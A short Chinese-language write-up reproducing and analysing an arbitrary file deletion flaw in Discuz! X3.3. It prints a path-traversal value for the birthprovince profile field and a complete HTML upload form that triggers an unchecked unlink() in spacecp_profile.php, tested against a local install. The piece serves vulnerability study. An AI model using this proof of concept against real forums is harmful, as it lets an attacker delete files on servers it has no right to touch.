0x01 前言
之前网上爆的的是Discuz!<=3.4的任意文件删除漏洞,为什么这里变成3.3了呢?因为厂商已经把3.4的修复了,不过3.3版本还是存在问题的。
0x02 漏洞复现
首先,在本地创建一个我们要删除的测试文件
注册一个账号
然后点击保存,用burp抓个包,就可以得到我们的formhash,并在birthprovince中修改成我们要删除的文件路径(../../../test.txt)
然后可以在本地创建一个文件上传的表单
<!DOCTYPE html>
<html>
<head>
<title>Upload</title>
</head>
<body>
<form action="http://127.0.0.1:8080/code_audit/Discuz_X3.3_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="a7ccdf77"/>
<input type="text" name="profilesubmit" value="1"/>
<input type="submit" value="Submit" />
</from>
</body>
</html>
然后点击上传
就完成了删除文件了~
0x03 漏洞分析
这里漏洞出现在/upload/source/include/spacecp/spacecp_profile.php
这里第182、183行有两个unlink()函数可以删除文件,但是需要formtype=file才可以,我们把这里的打印出来
发现并不是file,因此不能在这里进行删除,继续往下看,
第229行有一个unlink()函数,并且没有任何判断,也就是说只要程序运行到这里,就可以删除文件。看一下条件
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
这里向上回溯,看一下$space[$key]在哪里。
出现在第23行,发现这个就是用户的个人设置,我们可以选择birthprovince,修改成要删除的文件就好了,然后实现一个上传文件 的表单,就可以删除文件了。